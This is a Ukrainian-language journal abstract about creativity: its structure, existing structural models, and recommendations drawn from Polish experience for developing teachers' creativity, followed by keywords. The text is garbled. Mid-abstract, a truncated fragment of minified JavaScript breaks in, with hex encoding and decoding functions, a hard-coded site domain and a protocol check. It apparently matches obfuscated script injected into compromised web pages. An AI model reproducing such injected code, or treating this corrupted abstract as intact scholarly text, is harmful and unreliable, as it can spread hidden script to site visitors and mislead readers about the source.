Креативність: сутність, структура, закономірності формування і розвиток

Abstract

У статті представлено погляди науковців у галузі педагогіки та психології щодо структури креативності особистості, розглянуто існуючі структурні моделі креативності. Обґрунтовано науково-методичні рекомендації щодо можливого творчого використання прогресивних ідей польського досвіду стосовно розвитку креативності вчителів задля модернізації системи освіти України. Теоретичне узагальнення, здійснене на основі аналізу численних поглядів на структуру креативності, дозволило дійти висновків: на сьогодні серед педагогів і психологів немає узгодженої, єдиної думки щодо структури креативності.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "pedosvita.kubg.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Keywords

• професійна підготовка
• креативність
• модель креативності
• структура креативності
• педагогічні умови розвитку креативності
• креативна особистість